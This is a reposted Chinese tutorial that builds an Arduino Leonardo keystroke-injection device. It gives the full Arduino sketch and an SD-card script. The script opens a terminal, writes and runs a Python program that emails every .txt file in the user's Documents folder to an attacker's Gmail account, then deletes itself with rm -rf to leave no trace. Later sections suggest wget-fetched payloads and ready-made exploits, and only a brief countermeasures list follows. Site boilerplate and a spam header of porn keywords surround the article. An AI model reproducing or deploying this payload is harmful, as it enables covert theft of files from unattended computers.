日B视频 亚洲,啪啪啪网站一区二区,91色情精品久久,日日噜狠狠色综合久,超碰人妻少妇97在线,999青青视频,亚洲一区二卡,让本一区二区视频,日韩网站推荐

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

Arduino鍵盤漏洞演示及解決辦法

454398 ? 來源:工程師吳畏 ? 2019-08-07 09:02 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

第1步:材料

零件:

1 。 Arduino leonardo

2。 micro USB讀卡器

3。SD

4。按鈕(VCC,地面和信號(hào)

5??缃与娎|

6。 micro USB轉(zhuǎn)USB電纜

步驟2:構(gòu)建設(shè)備

之前構(gòu)建指令讓我們回顧一下工作原理

Arduino leonardo可以像人機(jī)界面設(shè)備(HID)一樣運(yùn)行,因此可以模擬鼠標(biāo)和鍵盤。我們將使用此功能打開終端(在UBUNTU linux中)并編寫一個(gè)小腳本,該腳本將訪問用戶主文件夾中的/Documents文件夾復(fù)制.txt文件并將其通過電子郵件發(fā)送給某人。如果您想了解更多詳細(xì)信息,請(qǐng)查看下一步。

因?yàn)樗且粋€(gè)演示設(shè)備,所以事情非常簡單,我們不會(huì)焊接任何東西。

構(gòu)建說明

1。組裝組件:

*插入arduino中的micro USB線

*將鑰匙開關(guān)連接到arduino(接地,vcc和out模塊)至D8)

*將讀卡器連接到arduino(使用ICSP標(biāo)頭)。 Arduino leonardo沒有將ICSP接頭連接到數(shù)字引腳,因此您需要將讀卡器連接到ICSP接頭。您可以在此處找到ICSP的一些圖紙:https://learn.sparkfun.com/tutorials/installing-an 。..。將SS引腳連接到數(shù)字引腳10

2. 獲取arduino代碼 :

#include “Keyboard.h”

#include “SPI.h”

#include “SD.h”

String filenameOnCard = “hack.txt”;

String sleepCommandStartingPoint = “Sleep::”;

String commandStartingPoint = “Command::”;

int delayBetweenCommands = 10;

const int buttonPin = 8;

const int chipSelect = 10;

int previousButtonState = HIGH;

void setup() {

pinMode(buttonPin, INPUT);

Serial.begin(9600);

Keyboard.begin();

if (!SD.begin(chipSelect)) {

Serial.println(“Card failed, or not present!”);

return;

}

}

void loop() {

int buttonState = digitalRead(buttonPin);

if ((buttonState != previousButtonState) && (buttonState == HIGH)) {

sdFileToKeyboard();

Serial.println(“Uploaded!”);

delay(500);

}

previousButtonState = buttonState;

}

void sdFileToKeyboard() {

File dataFile = SD.open(filenameOnCard);

if (!dataFile) {

Serial.println(“The specified filename is not present on SD card, check filenameOnCard !”);

}

String line;

while (dataFile.available()) {

line = dataFile.readStringUntil(‘ ’);

Serial.println(line);

sendToKeyboard(line);

}

dataFile.close();

}

void sendToKeyboard(String line) {

String workingLine = line;

if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {

sleepFor(line);

return;

}

if (workingLine.indexOf(commandStartingPoint) == -1) {

Serial.print(“Text:”);Serial.println(line);

Keyboard.println(line);

pressEnter();

return;

}

Serial.println(“Command:”);

int charPosition = commandStartingPoint.length();

int lineLength = line.length();

workingLine += “,”;

while (workingLine != “”) {

workingLine = workingLine.substring(charPosition);

Serial.print(“WorkingLine:”);Serial.println(workingLine);

int specialCommandDelimiterPosition = workingLine.indexOf(“,”);

String command = workingLine.substring(0, specialCommandDelimiterPosition);

charPosition = specialCommandDelimiterPosition + 1;

if (command != “”) {

Serial.print(“Command found:”);Serial.println(command);

Keyboard.press(getCommandCode(command));

delay(delayBetweenCommands);

}

}

Keyboard.releaseAll();

delay(delayBetweenCommands);

}

void pressEnter() {

Keyboard.press(KEY_RETURN);

Keyboard.releaseAll();

}

void sleepFor(String line) {

int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();

Serial.print(“Sleeping for:”);Serial.println(sleepAmount);

delay(sleepAmount);

}

char getCommandCode(String text) {

char textCharacters[2];

text.toCharArray(textCharacters, 2);

char code = textCharacters[0];

code = (text == “KEY_LEFT_CTRL”) ? KEY_LEFT_CTRL : code;

code = (text == “KEY_LEFT_SHIFT”) ? KEY_LEFT_SHIFT : code;

code = (text == “KEY_LEFT_ALT”) ? KEY_LEFT_ALT : code;

code = (text == “KEY_UP_ARROW”) ? KEY_UP_ARROW : code;

code = (text == “KEY_DOWN_ARROW”) ? KEY_DOWN_ARROW : code;

code = (text == “KEY_LEFT_ARROW”) ? KEY_LEFT_ARROW : code;

code = (text == “KEY_RIGHT_ARROW”) ? KEY_RIGHT_ARROW : code;

code = (text == “KEY_RIGHT_GUI”) ? KEY_RIGHT_GUI : code;

code = (text == “KEY_BACKSPACE”) ? KEY_BACKSPACE : code;

code = (text == “KEY_TAB”) ? KEY_TAB : code;

code = (text == “KEY_RETURN”) ? KEY_RETURN : code;

code = (text == “KEY_ESC”) ? KEY_ESC : code;

code = (text == “KEY_INSERT”) ? KEY_INSERT : code;

code = (text == “KEY_DELETE”) ? KEY_DELETE : code;

code = (text == “KEY_PAGE_UP”) ? KEY_PAGE_UP : code;

code = (text == “KEY_PAGE_DOWN”) ? KEY_PAGE_DOWN : code;

code = (text == “KEY_HOME”) ? KEY_HOME : code;

code = (text == “KEY_END”) ? KEY_END : code;

code = (text == “KEY_CAPS_LOCK”) ? KEY_CAPS_LOCK : code;

code = (text == “KEY_F1”) ? KEY_F1 : code;

code = (text == “KEY_F2”) ? KEY_F2 : code;

code = (text == “KEY_F3”) ? KEY_F3 : code;

code = (text == “KEY_F4”) ? KEY_F4 : code;

code = (text == “KEY_F5”) ? KEY_F5 : code;

code = (text == “KEY_F6”) ? KEY_F6 : code;

code = (text == “KEY_F7”) ? KEY_F7 : code;

code = (text == “KEY_F8”) ? KEY_F8 : code;

code = (text == “KEY_F9”) ? KEY_F9 : code;

code = (text == “KEY_F10”) ? KEY_F10 : code;

code = (text == “KEY_F11”) ? KEY_F1 : code;

code = (text == “KEY_F12”) ? KEY_F2 : code;

return code;

}

3。將代碼上傳到arduino ,請(qǐng)務(wù)必選擇9600波特率,串口和arduino leonardo

4。 使用FAT16或FAT32格式化SD卡

5。如果您從上面克隆了github repo,復(fù)制卡上的hack.txt文件,如果不是,則下面列出了該文件:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t

Sleep::500

vi hack.py

Sleep::300

Command::KEY_INSERT

import smtplib

import glob, os

from os.path import expanduser

from email.MIMEMultipart import MIMEMultipart

from email.MIMEBase import MIMEBase

from email.MIMEText import MIMEText

from email.Utils import COMMASPACE, formatdate

from email import Encoders

smtp_user = ‘sender_gmail_address’

smtp_pass = ‘sender_gmail_password’

to_address = ‘receiver_address’

scan_documents_location = ‘Documents’

subject = body = ‘Files from hacked computer’

header = ‘To :{0} From : {1} Subject : {2} ’.format(to_address, smtp_user, subject)

def sendMail(to, subject, text, files=[]):

msg = MIMEMultipart()

msg[‘From’] = smtp_user

msg[‘To’] = COMMASPACE.join(to)

msg[‘Date’] = formatdate(localtime=True)

msg[‘Subject’] = subject

msg.attach(MIMEText(text))

for file in files:

part = MIMEBase(‘a(chǎn)pplication’, “octet-stream”)

part.set_payload(open(file,“rb”).read())

Encoders.encode_base64(part)

part.add_header(‘Content-Disposition’, ‘a(chǎn)ttachment; filename=“%s”’

% os.path.basename(file))

msg.attach(part)

server = smtplib.SMTP(‘smtp.gmail.com:587’)

server.starttls()

server.login(smtp_user, smtp_pass)

server.sendmail(smtp_user, to, msg.as_string())

server.quit()

sendMail([to_address], subject, body, glob.glob(“{0}/{1}/*.txt”.format(expanduser(“~”), scan_documents_location)))

Sleep::50

Command::KEY_ESC

Sleep::100

:x

Sleep::500

nohup python hack.py &

Sleep::700

rm -rf hack.py

Sleep::400

Command::KEY_LEFT_ALT,KEY_F4

的 6。修改以下內(nèi)容:

smtp_user = ‘sender_email_addr’

smtp_pass = ‘sender_password’

to_address = ‘receiver_address’

并替換為您的電子郵件地址

7。 取出卡并將其插入arduino讀卡器

步驟3:如何在細(xì)節(jié)中工作

攻擊如何工作:

1。按下按鈕后,leonardo將使用SD卡閱讀器讀取SD卡。卡上將顯示包含按鍵和按鍵組合的特殊文件。文件名是“hack.txt”。

該文件可以包含原始文本,它將按原樣傳遞給鍵盤。

它還可以包含特殊命令,如“Sleep ::”和“Command ::”。

如下所示的行:

Sleep :: 200表示200 ms的睡眠

如下所示的行

Command :: KEY_LEFT_CTRL,KEY_LEFT_ALT,t表示按住左按鈕,按下左按鈕,按下t按鈕并全部釋放

您可以在此處檢查所有特殊按鍵:https://www.arduino .CC/EN/參考/KeyboardModif 。..

2。萊昂納多將逐行閱讀,并解釋命令并模擬鍵盤上的鍵。文件“hack.txt”包含執(zhí)行以下操作的鍵組合(對(duì)于UBUNTU linux):

a。打開一個(gè)終端(CTRL + ALT + T)

b。使用vi打開一個(gè)用于創(chuàng)建的python文件(寫入“vi hack.py”

c。寫入一個(gè)python腳本,收集文檔主文件夾中的所有文本文件,并將它們發(fā)送到指定的gmail地址

d。在后臺(tái)運(yùn)行文件(“nohup python hack.py&”)

e。刪除文件(rm -rf hack.py)

f。關(guān)閉終端(ALT + F4)

整個(gè)過程會(huì)在幾秒鐘內(nèi)完成并且不會(huì)留下痕跡。

增強(qiáng)功能和故障排除

*你可能會(huì)注意到,在我打開一個(gè)終端后,我正在編寫python文件。更好的方法是將它托管在某處并使用“wget some_url”命令下載它,然后將其重命名為hack.py

*我們也可以為目標(biāo)操作系統(tǒng)下載或運(yùn)行現(xiàn)成的漏洞利用

* wifi可以添加到模塊中,黑客可以通過WIFI上傳

*您可以使用arduino micro(更?。┎⒃谄渖锨度肼┒蠢么a(使其更小)

限制

1。由于模擬設(shè)備(鍵盤和鼠標(biāo))沒有任何反饋,我們不知道發(fā)出命令后會(huì)發(fā)生什么,這意味著我們需要使用延遲。例如我發(fā)出一個(gè)打開終端的命令,但我不知道它什么時(shí)候會(huì)打開,所以我需要指定一個(gè)任意的延遲來確保輸入的字符不會(huì)丟失。

2。我們可能會(huì)遇到許可問題,例如無法訪問USB端口或安裝某些內(nèi)容的權(quán)限

3。打字速度對(duì)leonardo而言并不是那么好

4。僅適用于目標(biāo)操作系統(tǒng)(在我們的案例中為UBUNTU linux)

在下一步中將嘗試找到利用此限制的方法來防止我們的計(jì)算機(jī)被黑客入侵

第4步:對(duì)策

1。禁用USB端口

2。白名單USB設(shè)備:

3。不要以root身份登錄(需要密碼才能安裝任何東西)

4。讓自己保持最新(自動(dòng)更新)

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 漏洞
    +關(guān)注

    關(guān)注

    0

    文章

    205

    瀏覽量

    15974
  • Arduino
    +關(guān)注

    關(guān)注

    190

    文章

    6529

    瀏覽量

    197564
收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    芯片燒錄總是出錯(cuò)?常見 6 個(gè)問題及解決辦法

    做電子生產(chǎn)和 SMT 貼片的朋友,經(jīng)常會(huì)遇到芯片燒錄不穩(wěn)定、報(bào)錯(cuò)、漏燒、錯(cuò)燒等問題。今天結(jié)合我們做燒錄機(jī)多年的經(jīng)驗(yàn),總結(jié)一下最常見的原因和解決思路,歡迎同行交流。 常見 6 個(gè)問題及解決辦法: 1.
    的頭像 發(fā)表于 04-10 15:30 ?355次閱讀
    芯片燒錄總是出錯(cuò)?常見 6 個(gè)問題及<b class='flag-5'>解決辦法</b>

    curl中的TFTP實(shí)現(xiàn):整數(shù)下溢導(dǎo)致堆內(nèi)存越界讀取漏洞

    漏洞概述 在 curl 的 TFTP 協(xié)議實(shí)現(xiàn)中發(fā)現(xiàn)了一個(gè)漏洞,該漏洞可能導(dǎo)致 curl 或使用 libcurl 的應(yīng)用程序在特定條件下,向惡意的 TFTP 服務(wù)器發(fā)送超出已分配內(nèi)存塊邊界的內(nèi)存數(shù)據(jù)
    發(fā)表于 02-19 13:55

    音叉液位開關(guān)的故障解決辦法!

    液位開關(guān)
    華泰天科
    發(fā)布于 :2026年01月26日 14:35:48

    keil5使用中文路徑安裝.pack后綴報(bào)錯(cuò)的解決辦法

    安裝完成 此時(shí)首先需要在keil5文件安裝路徑上改正文件名 此時(shí)再次安裝.pack后綴文件時(shí)可能會(huì)發(fā)現(xiàn)兩個(gè)問題:一個(gè)是默認(rèn)打開方式改變了: 解決辦法是在keil5安裝路徑下找到
    發(fā)表于 01-22 06:50

    分析嵌入式軟件代碼的漏洞-代碼注入

    驗(yàn)證數(shù)據(jù)是否良好。 為避免格式字符串的漏洞,這些規(guī)則中的第一個(gè)是最合適的; 你可以編寫代碼如下: printf(“%s”,str); 這樣,str的內(nèi)容只被視為數(shù)據(jù)。這是最不費(fèi)腦子的辦法,只要你能
    發(fā)表于 12-22 12:53

    MCU200T開發(fā)板報(bào)錯(cuò)\'Launching hello Debug\' has encountered a problem的解決辦法

    problem 一般解決辦法 1、查看電腦驅(qū)動(dòng)問題,一般可以下載驅(qū)動(dòng)精靈,更新一下電腦的驅(qū)動(dòng)程序 2、重新安裝一次蜂鳥驅(qū)動(dòng)程序 3、因?yàn)榉澍B調(diào)試器一代和二代有微小差別,目前最新版的調(diào)試器是v2版的,在調(diào)試?yán)?/div>
    發(fā)表于 11-06 06:55

    調(diào)試報(bào)錯(cuò):timed out waiting for debug int to clear 解決辦法

    掉。 解決辦法: 1. 是下載我提供的N205的mcs,然后在nuclei stduio里面下載蜂鳥v2對(duì)應(yīng)的helloworld程序,記得用flashxip模式,這樣可以把flash里面的內(nèi)容替換成蜂鳥
    發(fā)表于 10-30 07:40

    openocd failed with code (1)的一種解決辦法

    我們發(fā)現(xiàn)此錯(cuò)誤是由于配置中默認(rèn)文件路徑有誤導(dǎo)致的,在默認(rèn)模板中,elf文件的路徑中使用的是“/”,而windows系統(tǒng)默認(rèn)文件路徑是“”,所以導(dǎo)致elf文件無法識(shí)別而無法下載。 解決辦法一是手動(dòng)修改
    發(fā)表于 10-27 08:21

    VCS安裝教程及常見問題和解決辦法

    解決辦法。 二、問題提出及相應(yīng)解決辦法 1、license文件過期問題 大家在網(wǎng)上看到的VCS安裝教程中,都會(huì)附上license文件,并且告訴你如何獲取Host Name等信息。 但有時(shí)獲取
    發(fā)表于 10-27 07:58

    時(shí)序約束問題的解決辦法

    slack 計(jì)算如下圖所示: 所以 slakc 為負(fù)數(shù)時(shí),說明路徑的組合邏輯延時(shí)過長。解決辦法有兩個(gè):第一個(gè)是降低時(shí)鐘頻率,第二個(gè)是將延時(shí)過長的組合邏輯拆成兩個(gè)或者多個(gè)時(shí)鐘周期執(zhí)行。 無論 Setup
    發(fā)表于 10-24 09:55

    硅片超聲波清洗機(jī)操作過程中常見問題及解決辦法

    可能會(huì)遇到各種問題,從效率低下到機(jī)械故障,這些問題如果不及時(shí)解決,輕則影響產(chǎn)品質(zhì)量,重則停止生產(chǎn),造成巨大損失。因此,了解并掌握這些常見問題及其解決辦法,是保證生
    的頭像 發(fā)表于 10-21 16:50 ?2210次閱讀
    硅片超聲波清洗機(jī)操作過程中常見問題及<b class='flag-5'>解決辦法</b>

    車載攝像頭氣密性檢測儀操作常見問題及解決辦法-岳信儀器

    在車載攝像頭的生產(chǎn)與質(zhì)量把控中,車載攝像頭氣密性檢測儀發(fā)揮著至關(guān)重要的作用。然而,在實(shí)際操作過程中,常常會(huì)遇到一些問題,以下為您詳細(xì)介紹常見問題及對(duì)應(yīng)的解決辦法。(1)檢測結(jié)果不穩(wěn)定檢測結(jié)果不穩(wěn)定
    的頭像 發(fā)表于 10-17 14:30 ?570次閱讀
    車載攝像頭氣密性檢測儀操作常見問題及<b class='flag-5'>解決辦法</b>-岳信儀器

    在學(xué)習(xí)D13的芯片配置,為什么我vscode,一堆爆紅,看著好煩,有沒有解決辦法

    在學(xué)習(xí)D13的芯片配置,為什么我vscode,一堆爆紅,看著好煩,有沒有解決辦法
    發(fā)表于 08-22 20:02

    單向閥氣密性檢測儀常見故障及解決辦法

    單向閥氣密性檢測儀在工業(yè)生產(chǎn)中起著至關(guān)重要的作用,然而在使用過程中難免會(huì)出現(xiàn)一些故障。了解常見故障及其解決辦法,能有效提高設(shè)備的使用效率和檢測準(zhǔn)確性。一、檢測結(jié)果不準(zhǔn)確故障表現(xiàn)檢測數(shù)據(jù)波動(dòng)
    的頭像 發(fā)表于 06-30 14:01 ?800次閱讀
    單向閥氣密性檢測儀常見故障及<b class='flag-5'>解決辦法</b>

    HarmonyOS應(yīng)用自定義鍵盤解決方案

    自定義鍵盤是一種替換系統(tǒng)默認(rèn)鍵盤的解決方案,可實(shí)現(xiàn)鍵盤個(gè)性化交互。允許用戶結(jié)合業(yè)務(wù)需求與操作習(xí)慣,對(duì)按鍵布局進(jìn)行可視化重構(gòu)、設(shè)置多功能組合鍵位,使輸入更加便捷和舒適。在安全防護(hù)層面,自定義鍵盤
    的頭像 發(fā)表于 06-05 14:19 ?2698次閱讀
    于都县| 南召县| 图片| 武城县| 阳朔县| 澄城县| 图们市| 静海县| 顺义区| 蛟河市| 浦城县| 菏泽市| 文登市| 通渭县| 哈巴河县| 汾阳市| 荃湾区| 榆中县| 濮阳县| 星座| 都江堰市| 宁夏| 昌黎县| 敦化市| 台湾省| 利津县| 凤翔县| 海盐县| 闸北区| 谷城县| 巴中市| 苍山县| 确山县| 四川省| 林芝县| 富源县| 邵阳县| 肇州县| 修武县| 准格尔旗| 明水县|